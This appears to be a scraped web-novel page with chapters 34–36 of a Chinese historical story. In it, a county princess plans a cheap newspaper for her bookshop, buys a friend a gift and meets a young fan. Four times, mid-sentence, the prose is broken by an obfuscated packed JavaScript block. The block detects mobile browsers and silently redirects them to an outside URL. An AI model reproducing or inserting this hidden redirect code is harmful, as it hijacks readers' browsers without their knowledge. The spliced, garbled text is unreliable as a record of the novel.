李铮猛地抬眼，手下意识轻扣桌案，声音都忍不住高了些：“你说的对！不过想看怎么梳头省事，怎么缝补结实，怎么寻零工的，可能根本不是一路人。” 她越想越兴奋，拿起炭笔，在草稿纸上写起来，边写还边说着，语气里带着几分按捺不住：“看来，这便民法子也得分门别类！种田的、持家的、找营生的……各归各栏，如此才能井井有条！” 张大掌柜听得眼前发亮，也跟着激动起来：“若是铺子里的掌柜，想必还想知道，怎么管伙计、怎么招杂役、怎么守铺子！” 这话一出，几人对视一眼，都忍不住豁然开朗。 这么一来，小报的主顾何止扩大一倍？原先只有爱看故事的，如今居家的、种田的、街边做小生意的，全都能成自家的主顾！ 气氛越聊越热，几人脸上都带着藏不住的激动。 李铮双手按着桌案，眼带笑意，朗声对众人道：“看来，咱们这故事报，得改名了。往后，便叫《百姓小报》。” 她压着心头翻涌的兴奋劲，声音清亮： “初期，咱们便先故事、便民法子一块登。等日后，瞧瞧客人们的反响，再来定要不要拆成两份。” “至于这些家常法子，够不够用，实不实用，咱们慢慢攒，慢慢试，总能越做越周全。” 见众人脸上仍是兴奋，她轻拍了下手，笑着引回正事：“内容便先议到这里。接下来张大掌柜，你与大家说说成本上的打算。” 张大掌柜敛起笑意，想了片刻，开口说道：“咱们这故事报，不对，《百姓小报》。既然要做给普通老百姓，价格便得压得足够低。要不然买得起的人用不着，用得着的又买不起。那反倒尴尬了。” “咱们平日话本刊刻用的都是中等纸。若是这《百姓小报》，依小的看，便用差等纸。墨料也是，选些最实惠的用。” 顿了顿，他接着说道：“价钱方面，也可重新和那卖纸的掌柜谈。日后小报销量起来。而且现下话本用纸量也越来越大。量大从优，总能便宜几分。” 说到要用差等纸时，他见李铮微微皱眉，连忙解释道：“小的知道县主觉得低等纸，质地粗劣。只是咱这小报，本就是卖给普通百姓的。他们平日用的，多是这种纸，甚至有的人家，连这种都舍不得常用。” 张娘子也忍不住开口附和道：“确实如此。没来咱们铺子上工前，我家用的就是差等的纸，就这还觉得价钱贵，还得省着用。” 张大掌柜点了点头：“是的，普通老百姓不讲究这个的，便宜，看得清字，内容没有疏漏，才是最要紧的。” 李铮听完开口说道：“你们说的有理，便按方才说得来，用差等纸吧。” 顿了顿，她又问道：“是刻印还是手抄，你们有什么看法？” 张大掌柜开口说道：“若是想卖到几文一份，那非得刻印不可。单靠手抄，千字就得五十文左右，太贵了。” “雕版成本摆在那里。小的倒有个主意，咱们不妨先手抄一份，问问熟客的意见。若是觉得熟客不是小报的主要客人，便拿几个故事、几条家用法子出来，派个识字的伙计，在铺门外讲讲，也算是吆喝了。” 桂丫忍不住上前一步，连声赞道：“在铺门外吆喝，这法子再好不过了。普通老百姓，平日里多半不敢轻易进书铺，总觉得东西贵，怕买不起。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249937|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她声音微微低了些：“有的铺子，知道自己买不起，便不敢进了，小的就是这般，不光心里发怯，也怕旁人笑话。” 一旁的张大掌柜和张娘子听了，都忍不住跟着点了点头，是这个理。 李铮听完不由怔住，心头突然有些堵得慌。她自然不曾经历过这种窘迫，可往日与旁人一块逛街的零星回忆，忽然涌了上来。 那时要进的什么铺子，她早已记不清，只记得当时满心不以为然，买不起不买便是了，有什么好怕的？ 其余人是何表情，她也早已模糊。直到方才听到桂丫说的那番话，她才恍然大悟，原来是这样啊，买不起便没有底气进去。即便硬着头皮进去，也直不起腰。 深吸一口气，李铮压了压心头那点涩然，再抬眼时，眼里已经只剩下坚定。 她看向众人，声音清亮：“正因为如此，咱们才更要把这小报做得便宜、实在。” “继续说回刚才的本钱吧。” 张大掌柜拉回思绪，开口说道：“依小的看，小报定价可在五到十文之间，再低便要亏本做了，不是长久的法子。就是这个价，估计利也薄得很。不过若能借此提升铺子名声，倒也不错。” 李铮点点头：“可以。那便先定在五月二十，出第一期小报。正好到时新话本发售，还能多添几分人气。” “按这个时间来，基本五月初十便要开始吆喝。” 说到这，她又看向张大掌柜：“小报，便放在先前说的租书窗口售卖，和话本、经史子集这些分开，互不混淆。” 张娘子和桂丫乍一听到‘租书窗口’，都有些怔愣，面露不解。 李铮未多解释，继续往下说道：“内容与日期都已敲定，接下来便是分配各自任务了。” 她先看向最左侧的张大掌柜：“张大掌柜，你还得总领这些事务。有拿不准的，派人告诉我。金竹也会每日来铺子。帮着传递消息，跑腿办事。” 说完转身看向张娘子：“张娘子，你便负责故事收集，润色故事这块。正好你之前有熟悉的话本才人，若他们中有合适的，可以牵线请来铺子做工。” 最后便是桂丫：“桂丫，家用法子的收集，便由你来负责收集。你素来爱跟人打交道，人又稳当，教给你最是妥当。” 桂丫忍不住露出个笑，上前应道：“小的记下了！定不会辜负县主信任！” 安排完毕，她看向三人：“至于招揽投稿之人，仍可用之前那几个半大小子，待遇照旧。你们要是另有法子，也可报于我听。” 诸事安排妥当，几人应声退下。 李铮缓步走到窗前，望着远处不住思索。 真正开始租书，至少要等上架满两月。而且租书琐事不多，现下还有月余，倒不必急于一时。 倒是这《百姓小报》，总算真正动起来了，先前她从未想过，自己竟能一步步把书铺经营到现在这般模样。 真好啊，今天的阳光。 34. 初次碰面 阳光渐渐有些刺眼，李铮抬手轻轻挡了挡，又望了一眼窗外，旋即转身离开窗户，看向立在一旁的周嬷嬷和金竹：“我们回吧，今日出来的也够久了。” 一楼大堂里依旧三五成群，她缓步穿过人群，偶尔听到两句闲谈。 “他家新近出的话本，比之前好看许多。” “我极爱这本！今日咱们买别的吧，改日我借与你看。” “怎的今日人这般多？” “昨日交流会，你可曾去？” 脚步稍慢，但她未停下脚步，只是离开书铺时，脸上多了些笑意。 真好啊，自己出的话本，喜欢的人越来越多。 “走！喊上宝珠，一起去给云秀买礼物。” 护卫提前去顺安伯府里报信，等她坐着马车到府前时，宝珠早已收拾好在那等着了。 李铮一下马车，宝珠就上前拍了下她的肩头，抿着嘴故作生气，见她看过来，哼了一声道：“今儿这是去哪儿了，笑得这么开心，都不知道叫上我？” 李铮甩甩衣袖，笑得很是神秘，一副不可说的样子：“我去微服私访办正事了。不过你放心，我可是一忙完就来找你。” 宝珠偏过头，扭向一旁：“罢了，这次便饶过你。”声音却悄然放软。 李铮得意地挽住她的胳膊。 二人俱上了宝珠的马车，一进马车还没坐稳，她就凑到李铮跟前，悄声问道：“阿铮，你见过，阿秀和那谁相处吗？” 没等她接话，宝珠桀桀笑了两下，用胳膊肘撞了下李铮：“你想不想知道，这人到底长相如何。” 李铮侧头看过去：“你见过？” 宝珠摆了摆手：“怎么会？那人已经在工部上工。我不可能守在他下值路上等着。” 见她连连摆手，李铮忍不住笑了出来：“你肯定见过，你若没见过又想知道，就该直接拉我一同去了。” 没等宝珠再找理由，她便开口说道：“咱们两个，我还不知道你吗。” 宝珠没反驳，只抱着手臂，摇摇头，神秘一笑：“阿铮，我新知道件事，你肯定还不知晓。” 李铮配合地凑过去：“快说与我听听。” 宝珠浅笑开口：“前几日休沐，你在忙书铺，我在逛街时，正好碰见他们两个。” 李铮见她说完这句又停了，忙拍了拍她手臂：“快说，别卖关子了。” 宝珠欢快地说道：“我见到他俩一块逛木器铺子。铺子里面什么情形我没看着。但出来时，两人身后的小厮捧了不少东西。” “那谁，就阿秀的未婚夫婿，应该还可以。虽然不怎么笑，但是逛街走路时，时不时就看向阿秀。人多的地方，还会拉拉阿秀。” 说着，她又左右看了下，随后一脸神秘地说道： “除此之外，我还托人打听过他。你知道的，我朋友很多。我这个朋友很靠谱。他说阿秀那未婚夫婿人不错，就是话不多，喜欢营造术，不喜钻营。 李铮听着忍不住露出笑容：“那便再好不过了！人品是最要紧的。” 宝珠说完，又小声补了句：“我这可不是随意打探，只是怕阿秀遇到骗子。” “你可千万不能，跟家里人提起。” 李铮伸手指了指自己：“我，你还不放心吗？” 宝珠听到这句反问，顿时松了口气。伸手打开食盒，指着里面的桃酥说道：“快来尝尝这个，我可喜欢了。是家新店。” 二人便边吃边聊起来。 李铮戳了戳宝珠：“你说，我们选个什么礼物好？得体面，得贴心。关键还得让她一眼就能看出咱们是用心选的。” 宝珠眼尾弯了弯，语气带着几分笃定：“关于选礼物，我昨日已想到一个好主意。” 李铮忍不住往前凑了凑：“是什么主意，快说与我听听。” 宝珠压低声音说道：“咱们两个和她都是朋友，不好厚此薄彼。干脆咱俩合送一份，到时候银钱各出一半。也省得各买各的，到时再分出个一二三来。” 李铮一怔，随即眉眼舒展：“你说得对，还是你想得周到。”说罢又一本正经地拱了拱手，怪模怪样行了个礼：“不愧是我的好姐妹，佩服佩服。” 宝珠故作严肃地板着脸，拍了拍她的手臂：“少来这套，我看你最近是学坏了。” 顿了顿，她又得意地扬起下巴说道：“不过，你的眼光很不错。回头礼物选好了，咱们两个一块送过去，保管她满意。” 车厢内安静了，她声音也低了下来：“不过等阿秀定了亲，咱们日后跟她见面的次数，怕是要少了。” 李铮听了微微一怔。是啊，她身边认识的姑娘，一成了婚，好似都被困在了内院。要么是各种聚会应酬，要么就是在家打理各种庶务。极少能像现在这样，纯粹出门玩。 感慨片刻，她开口说道，声音虽低，但语气笃定：“我便是成了婚，也是要出来见朋友，出门玩耍的。” “昨日我那个书铺，办的交流会就挺不错。来的人里，不少都是和朋友一起去的。” 说着她看向宝珠，眼睛透着期待：“咱们往后，可以多去这种地方！日后城里这样的去处，肯定会越来越多。” 宝珠重重点头：“你说的对！往后咱们便常约着一道出去，管它什么规矩不规矩。光守着规矩，天天愁眉苦脸，有什么意思。” 车厢内恢复平和，连车轱辘碾过石板路的声响，都变得轻快起来。 方才那点怅然，仿佛被这几句痛快话吹散了几分。 不再想那些烦人的事，李铮打量了下矮几上的点心盒，里面放着好几样精致点心。虽不是新出炉的，但一直能闻到若有若无的甜味。闻着这香味，感觉心情都轻快了。 随手从点心盒里拿起一块看着就好吃的酥饼，慢吞吞地掰成两半，左右打量了下，挑了块大的递给宝珠：“快别想这些啦。这块大的给你。日后的事情，哪里说得准。” 酥饼拿在手中，味道更明显了，李铮没忍住吃了一口：“我们心意到了就行。也不能因为怕噎着，就不吃饭了。” 说完，她又补了句：“你这点心哪里买的，还记得店名吗？” 宝珠没忍住也尝了口，边吃边点点头： “你说得对，日子总是要过的。” “店名，让我想想……” “不行，实在想不起来叫什么了。就在我们上次去的茶馆附近。你到那，一看便知，乌木色的招牌，就在茶馆对面的街上，是家新开的店。” 酥饼不大，三两口就吃完。李铮拿出手帕擦了擦手：“回头我也要买来尝尝。这家味道确实不错，不像有些店，甜得太过了。你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263594|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发现的？” “可不是吗，我也这么觉得。”宝珠得意地笑了笑，又接着说道：“我认识个新朋友，她家就住那附近。” 李铮看着她：“你的朋友是真多啊。” 宝珠突地拍了下自己额头：“他哥哥，你还认识呢，就是那个陆秀才。” “这你都能认识上。” “那是！城里同年纪的，少有我不认识的。东扯扯西拉拉，总能认识上。” 李铮有些好奇地问道：“你俩到底怎么认识的？” “跟你还有关呢！前段时间你出的话本，我们两个都喜欢看，又碰巧去了同一个宴会，就认识了。” 顿了顿，宝珠伸手戳了戳李铮的手臂：“你想不想见见她？咱们选完礼物，正好顺道去茶馆坐坐。她家在附近，喊她一声肯定愿意来。” “啊？会不会太过突然。” 宝珠边说边拍了拍胸脯： “完全不会，你可以放一百个心。前几天我们一块聚会，还说起你呢。她特喜欢你出的话本。” “去吧去吧，最近你都不出来玩了。” “你先别接着推，你自己算算，咱俩都多久没一块出去玩了？” 见宝珠一脸期待，李铮心中天平逐渐倾斜，终是点点头：“行，那待会咱俩一块去吧。” 这话一出，宝珠当即抚掌笑出声来，轻快极了。 因着云秀喜欢看书，两人斟酌了下，最终决定送方砚台。虽说她们知道云秀现在喜欢摆弄木作，可木作的东西，二人实在不懂，担心选得不合适，只好作罢。 到了文房店里，伙计很是殷勤。不多时，柜台上便整整齐齐摆了十好几方砚台。 大多以端砚、澄泥砚为主。若是按样式分，那便多了去了，抄手砚、风字砚、三足砚、荷叶砚，不一而足。 两人左看右瞧，还是拿不定主意。最终没得办法，也不能一直耽搁下去，李铮拍板，选了一套端石荷叶砚。 那砚台是用端石刻的，四周荷叶微微卷起，砚台中间还雕了条跳跃着的小鱼。想必加了水，会变得活灵活现。 选完礼物，两人便不再耽搁，因着距离不远，索性挽着手，一路晃悠着往茶馆去。 茶馆大堂里，挤了不少人，几张方桌坐得满满当当。廊下甚至还有不少站着的。 不过并不十分吵闹，最响亮的是说书先生的声音。 这回的故事应该是个惊险刺激的，李铮时不时听到周围人吸凉气。 没站多大会，伙计便来了，然后一路吆喝着，让一让，让一让，将两人带到二楼雅间。 雅间内站着位青衣女娘，听到门外声响，她转身看过来，见到二人，脸上立马绽出笑容，眼睛也亮了。 三步并作两步迎上前，敛衽俯身浅浅行了个礼，声音清亮：“县主金安，小女陆晴。我，我特别喜欢五柳斋出的话本。” “上月二十出版那日，家兄特意遣仆役早早去排队，谁知还是一本没买到，空着手灰溜溜地回来了。好在后来您派人送了书来。要不然我铁定得再熬几日才能读到，那我岂不是亏死了。” 话刚说完，她面露赧然，抿了抿唇：“抱歉，方才有些失礼，实在是太激动了。” 说罢，她抬眼悄悄瞥了一眼李铮，这便是先前和哥哥见过面的县主吗？真好看啊。 35. 闲聊书铺 李铮见她眉眼带笑，又是宝珠的朋友，平添几分好感。 见她夸得很是真诚，李铮初有些惊讶，随即笑着摆了摆手：“不妨事。知道你喜欢话本，我便欢喜了。不过真没想到，你竟是这么活泼。难怪你和阿珠这般投契。” 陆晴这下笑得有些不好意思了。 几句打趣之后，三人也没继续站着，挨个落座。 一坐下，李铮又笑着说道：“方才没有说活泼不好的意思，我自己就是活泼的性子。只是我和你哥哥打过交道，他的话并不是很多。” 陆晴没想到李铮竟会提起自家兄长，有些惊讶：“家兄性子稳重，随家父多些。” 说完她不自觉微扬下巴：“我就不一样了，打小就活泼。” 宝珠听罢忍不住点了点头：“之前在学堂里，我也见过你哥哥几面，一看就不够跳脱，跟咱们不是一个性子。我还是喜欢活泼的多些。” 这话一出，李铮没忍住伸出手指点了点宝珠：“你说你，羞不羞？” 宝珠哼了一声：“我才不怕，我又没说什么虎狼之词，没什么好害羞的。”她向后倚在座位上：“再说了，只有在你们面前我才这样。” 这下，陆晴没忍住笑了出来。 李铮一想，也对，都不是外人，忙一本正经地做了个揖：“行行行，你说的最有道理，在下甘拜下风。” 宝珠见李铮服软，立马来劲了：“干坐着多无聊，要不咱们来聊聊，都想找什么样的夫君？” 说完，她眨巴着眼睛，看看李铮，又看看陆晴。 见两人没点头，她腮帮鼓起，凑到圆桌前，开始劝道： “阿铮，你想想看。你都多久没陪我玩了？每回约你，都说在忙。好不好嘛，好不好嘛。” 李铮没了办法，而且她也有些好奇其他人的择偶条件。等宝珠又劝了两句，便点头应了。 见她被自己劝动，宝珠眼睛都亮了。眨了眨眼，她转身又看向陆晴。 陆晴抿了抿唇，有些不好意思地笑了，但还是点了点头。 见两人都答应，宝珠开心地拍了拍掌，吩咐丫鬟守好门，站起来说道：“既然是我先提的，那便我先讲。我还是很讲道义的。” 李铮笑着看向宝珠，一旁陆晴也配合地点了点头。 宝珠张口欲说，但话到嘴边又停下。 二人都没催促，只是耐心看着她。 来回几次之后，她坐了下来，不过只坐了一半，手指在桌案上不住画着圈。过了片刻，开口小声说道：“其实我想找个家世相仿，性子和我一样活泼的。不要是长子，最好是幼子。” 顿了顿，她又接着说道：“这样压力小些，我不是那种上进的人。反正家中银钱也够花，只想顺心过一辈子。” 李铮点点头，看着宝珠，温和说道：“那就得好好用心挑选。发家不容易，败家就很简单了。到时候住在一个屋檐下，他要是个瞎胡混的，那日子可就只剩添堵了。” “是该暗地里多找人打听打听。”宝珠深以为然，点头附和。 一旁陆晴气鼓鼓地接话，眉眼间带着气愤：“可不是嘛！我见过好些人，表面看起来人模人样，实际上差劲极了。赌博，喝花酒，样样都沾。简直是一无是处。” 李铮笃定说道：“总之，咱们成亲前，一定要擦亮眼睛，多多打听。若是碰到不合适的，就早早想办法和离，便是不能和离，也要想办法让自己过得舒心些。” “别总围着别人转，得给自己找事情做。”陆晴抬眼看向她，小声问道：“县主说得，是这个理吗？” 稍顿片刻，她又说道：“我瞧着县主便是如此，因为喜欢，便用心经营书铺，出的话本都很好看。自打你的书铺上架新话本，我和身边姐妹，一见面，张口闭口都是你的话本。” 说着说着，她愈发激动，身子微微挺直：“就是昨日太可惜了，交流会没能去成！听说场上有人画了人物的小像，不仅如此，还有人编了新段子！想想就很有趣。” “啊啊啊！我怎么就没报上名呢！” 见她这么激动，李铮有些忍俊不禁，她想克制自己，但还是没忍住笑出声来：“多谢你的喜爱。说来有趣，你和陆秀才虽是兄妹，性子真是差了不少。” 担心误会，她又补充道：“这交流会，我们也是头一回办，没经验，所以名额不多，图个热闹罢了。” 陆晴闻言，抬眼亮晶晶地看过去：“那是不是说，以后名额会变多？下回办时，若是你们能提前告诉我一声就好了。我一定，一定第一时间去报名。不能再错过了。” 宝珠在一旁帮着搭腔：“我也挺想去。下回也喊上我。” 李铮扬眉想了片刻，抬眼看向二人，有些不确定地说道： “去倒是可以，但我们办的时候，场上只聊话本。大多数到现场的娘子，都不是官宦人家。” “若是有人摆了官架子，想必众人也无法畅所欲言，这样的交流会，定然也是没什么意思的。” 陆晴听罢，当即笑着说道：“我能接受，也非常理解。到时穿得寻常些便是了。” 说到这，她轻轻打量了两眼李铮的衣衫，小声问道：“县主今日这般穿着，想来也是为了这般缘故吧？” 李铮微微颔首，便见陆晴拍手笑道：“看来大家为了出门行事方便，都会偶尔换掉平常的装束呢。” 说完，她又凑进了些，笑着说道：“悄悄跟你们说，我从前还试过男装出门呢。” 这话一出，李铮和宝珠相视一笑，齐齐点头：“我们也是，有时为了在外头方便，会特意穿男装。” 三人对视一眼，不约而同笑起来，看来大家都是爱玩的性子呢。 窗外天光正好，照在圆桌边的三人身上，偶尔说笑声还能穿过窗户，混着窗外的小鸟鸣叫声，轻快极了。 一番说笑之后，陆晴捧着茶杯，看向李铮，眼睛亮晶晶地问：“县主，还想问下，昨日交流会的小像以及新段子，我们这些没去成的，日后还有机会看到吗？” 说着，她还故意作出泫然欲泣的样子，惹得宝珠先笑出了声。 李铮思忖片刻，故意抿唇不语。见她眼睛更亮了，才笑着说道：“现下只能说有机会。我们正琢磨着办故事报，届时可能会把这些放在报上。交流会上也有人跟你想法一样呢，想收藏下来留着自己看。” 顿了顿，她又补充道：“只是这事并非易事，不只要征得写段子、画小像的人同意，还得问话本才人的意见，当然书铺本身也要考虑如何盈利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277689|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。总之我们会尽力去做的。” 宝珠听罢，忍不住睁大眼睛看向李铮：“阿铮，你真的长进许多唉，竟然考虑得这般周全。” 一旁陆晴捧着茶杯，满眼崇拜：“县主，你们书铺若是真出了故事报，我定然天天去买！” 李铮被二人看得有些不好意思，垂眸看了眼桌案，定了定神，温声说道：“不过是练出来的。为着书铺，我经常头昏脑胀呢。” 谈笑间，茶盏已见了底，日头也渐渐西斜。 宝珠瞥了一眼窗外，惊得放下茶杯：“竟然过得这般快！” 三人对视一眼，不约而同笑起来。 李铮放下茶杯，笑道：“那我们便撤吧。待会你们先回，我打算去边上那家糕点店看看。” 陆晴眼前一亮，惊讶道：“该不会就是边上新开的那家吧？”说完她看向宝珠，语气雀跃：“就之前，我和你推荐的那家。” 宝珠立即露出与有荣焉的笑容，微扬下巴：“没错，就是那家。我最喜欢她家的玫瑰饼。” 李铮：“我打算买点给家里人尝尝，你们要去吗？” 宝珠摆了摆手：“我就不去啦，前日刚买过，还没吃完呢。” 陆晴跟着点头：“我们家也是，昨儿刚买了两盒。这回就不跟着凑热闹啦。” 说罢三人各自道别。 陆宅。 晚饭时分。 陆家人刚吃过饭，兄妹两个正并肩往外走。 见妹妹嘴角一直扬着，连脚步都比平日轻快几分，陆祈瞥了几眼，问道：“今天怎么这般开心？” 陆晴眉梢一挑，转头看向陆祈，语气透着雀跃：“哥哥，你猜我今儿个见着了谁？” 陆祈无奈地看过去：“这我哪里猜得到？一点线索都没有。” 陆晴指尖轻点下巴，故作神秘道：“那我给你提个醒，跟话本有关。” 陆祈打量了两眼喜不自胜的妹妹，语气笃定：“最近你和顺安伯府家的小娘子走得很近，相约出门数次。但从未像今日这般欢喜。” 顿了顿，他接着说道：“顺安伯府和安郡王府本是姻亲，两家人素来走得近。你又提到话本，莫非，你见到的人是福安县主？” 陆晴当即眉开眼笑：“不愧是我哥哥。一猜就中！” 她扯了扯陆祈的衣袖：“哥哥，我跟你讲。县主可真是太厉害了，她接下来还要办故事报呢！而且还没什么架子，今日瞧着，定是乔装打扮出门办事了。我太想和她做朋友了！” 说着，她忽然上下打量了陆祈两眼，煞有其事地道：“哥哥，你也该多置些好看的衣衫，我上回路过你们学堂，十个里头倒有八个穿青衫，都分不清谁是谁了。” 陆祈垂眸扫了眼下自己身上的青色衣衫，语气透着几分无奈：“衣着得体便罢。学堂本就重素雅，穿青衫的多，也是常理。” “哼，无趣。你不好好打扮，有你哭的时候。”陆晴轻哼一声。 陆祈有些哭笑不得：“长相天定。” 陆晴当即回道：“人靠衣装马靠鞍。” 天上繁星点点，月光也油润润的，淌在青石板上。 到了岔路口，两人道别，各自往小院走去，身影被月色拉得细长，和树影交相辉映。 36. 推心置腹 因着前几日太忙，李铮索性在家休息了两日。这两日，她每天都会早起和祖母一起活动身体，不过现下天渐渐热了，她们改去了树荫下活动。 悠哉悠哉地吃完早饭，李铮没像前两日一样，吃完早点便离开。 丫鬟们在轻手轻脚地收拾桌面，祖母在喝前段时间到的新茶，茶杯是她惯用的黑釉盏。 李铮低头看看桌沿，又抬头看看祖母，手还不住地摩挲桌案。 祖母往这看了两眼，是瞧出自己想问事情了吗？最近书铺在征集故事，祖母也写了二十来日了，她实在是好奇到底写得怎么样了？ 前几日一直忙还不觉得，现在一闲下来，便有些馋，好在自己肯定是最早看到草稿的人。 真好啊！ 打住，打住，现下八字刚有一撇，万一祖母以为自己在催她就不好了。这才第一本，一定，一定要稳住心态，不能着急，力求祖母写得开心。 不过也过了二十余日，应是可以问问了。 内心想了许多，但表面还是云淡风轻。李铮余光瞥了一眼周围，小丫鬟们已经都退下了，只剩几个贴身伺候的还在厅里。 清了清嗓子，挺直腰背，她看向江老夫人，缓缓开口道：“祖母，我先提前说好，我不是在催您。就是想问问您游记写得如何，若是需要刊刻，一定提前告诉我！我保准给您刻的干干净净，漂漂亮亮！” 江老夫人闻言，上下打量了她两眼，点点头，嘴角微微扬起：“不错，前几日就以为你要憋不住问了呢，没成想你竟撑到今日。不错不错，看来你开这个书铺，长进很大啊！” 李铮头上的钗子晃了两晃：“那是，也不瞧瞧我是谁的孙女！” 说罢，她侧身面向江老夫人，凑到江老夫人跟前，晃了晃衣袖：“祖母，您就跟我说了吧，求您了。您说了，就省得我整日抓心挠肺惦记了。” 想了想，她又补充道：“而且不只是我，您这话本，我还和朋友说了，要是刊刻出来，就送他一本。” “所以您大可放一万个心，您的话本，完全不缺人看。这不，还没刊刻，就有人等着了。” 江老夫人哭笑不得，拽回自己的衣袖，抿了口茶，故作严肃说道：“这可不是我答应的，我只答应会写，也确实在写，具体时间我可没答应。” 顿了顿，她放缓神色，温声说道：“不过阿铮，你可想过一事？你先应了别人送书，若祖母迟迟未动笔，你要怎么办才好？或者我不愿暴露哪本书是我所写，到时你又该如何圆场？” 李铮有些怔住，细想了下，好像确实是这个理。若是祖母不愿暴露身份，她到时该如何收场才好？ 看来往后开口说话前，定要先思量三分，万不可心直口快，莽莽撞撞。 她微微挺直身体，规规矩矩行了一礼：“孙女受教了。” 江老夫人见她已经听明白了，笑着打量两眼，又接着端起茶盏，慢慢喝起茶来。 杯中茶已空，李铮立马起身：“祖母，我给您倒茶。” 江老夫人看了眼重新装满茶水的杯子，抬眼看向李铮，朗声说道：“说吧，是还有什么事吗？要不然你这茶，我可不敢喝。不然，你又要歪缠了。” 李铮努努嘴巴，哼了一声：“我才不会呢。” “祖母，孙女是想问，稿子大概何时能好？能否提前给我瞧瞧？”说完她双手合十，眼巴巴地看过去。 江老夫人抚了抚额头：“再过十几日再来问吧。祖母年纪大了，写得慢，你定能体谅的，对吧？” 这些日子李铮天天陪着祖母锻炼，此刻却半句也不敢反驳，只好又继续眼巴巴地看了几眼，可祖母半点松口的意思也没有，她只好开口应道：“祖母放心，孙女晓得。” 离开寿安堂后，李铮暗自嘀咕着，放长线钓大鱼，不能急，不能急。 待祖母写完第一本游记后，自己再帮着好好吆喝，定让祖母体会到，什么叫万众瞩目！想必到时，祖母提笔写书的意愿就强了。 越想越开心，她转身看向身侧的周嬷嬷和金竹：“走，去书铺看看。” 还没进书铺，就远远看到一群人聚在一楼厅里，都正往一处瞧着。 李铮心下有些好奇，脚步不由加快。走近一瞧，原来是前几日同好交流会的纪念之作完成了。 没想到张大掌柜动作这么快，这才三四天的功夫，就已经裱好，挂起来了。 正中央是她亲笔题的‘第一次同好交流会’八个大字，周围环绕着与会众人的题字。因着好多都是现场取的别号，所以叫什么的都有，鲤鱼、松柏、寒梅、傲雪，五花八门，不一而足。 右下角则是两位主人公的剪影，出自当时那位擅画女娘之手。虽然缺少颜料，但她画技颇好，形神兼备。看过话本的，一眼便能认出是谁。 眼前是乌泱泱的人，上方是新装裱的画作，虽然周遭有些吵闹，李铮还是欢喜极了。 张大掌柜见李铮过来，远远地躬身行了一个礼。 李铮微微颔首，转身便往二楼雅间走去。 二楼楼梯口守着的桂丫，一见她来，连忙上前行礼，压低声音禀道：“县主，今日雅间全都满了，前几日的交流会反响极好，来了好几位有头脸的客人，因着一楼人太多，现下正在雅间选书呢。” 她语气里带着止不住的喜意：“县主若要议事，不妨先去张娘子那边？” 话音刚落，张大掌柜也跟着上了二楼，三人便一同去了张娘子那。 李铮刚一落座，张大掌柜连忙上前，笑得眼角都皱起来了：“县主，您可来啦！大厅那画刚挂上去，本来说要明日才成。偏那装裱师傅家的小娘子，也喜欢咱们出的话本，便特意提前给咱送来了。” 他捻了捻胡须，眉眼间满是笑意：“一想到这，小的便欢喜得很。没成想咱们竟能得如此厚爱。” 小小的房间里，一时间众人都笑了起来。 谁能想到呢。 本来以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287581|195084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一时兴起，竟一起走到了今日。 李铮望着眼前众人，忍不住轻敲手中折扇，心中亦是满意至极。 只是热闹过后，一想到小报，她脸上笑意渐渐敛去。 待大家笑声渐歇，她缓缓开口说道：“百姓小报进展如何？你们挨个说来。” 张大掌柜敛起笑意，正色回道：“县主，小的昨日下午，已和原先合作的纸铺掌柜见了面，只是价格并没谈拢。对方意思是，要等咱们订量上去了，才能降价。” 停顿片刻，他又压低声音说道：“因着那纸铺本就生意不愁，再加上他家背后也是权贵，所以这掌柜态度十分强硬。” 李铮轻轻拨弄手中折扇，慢条斯理问道：“他家纸价如何？往日里，咱们合作得又如何？” 张大掌柜略一沉吟，躬身答道： “他家价格算中等。锦帙精装本所用楮皮纸，大概二十文一张。普通版本用的中等竹纸，五到八文一张。一册五千字的话本，约莫用纸二十余张。” “这些都是批发的价钱，若是零买，每张便要再贵上几文。” “他家价钱不是最低，但是胜在纸张质量稳定，供货也稳妥。早年咱们书铺吃过断货误事的亏。因着这个，也就一直与他家合作至今。” 张大掌柜回禀完毕，悄悄抬头望了李铮一眼，便低头静待吩咐。 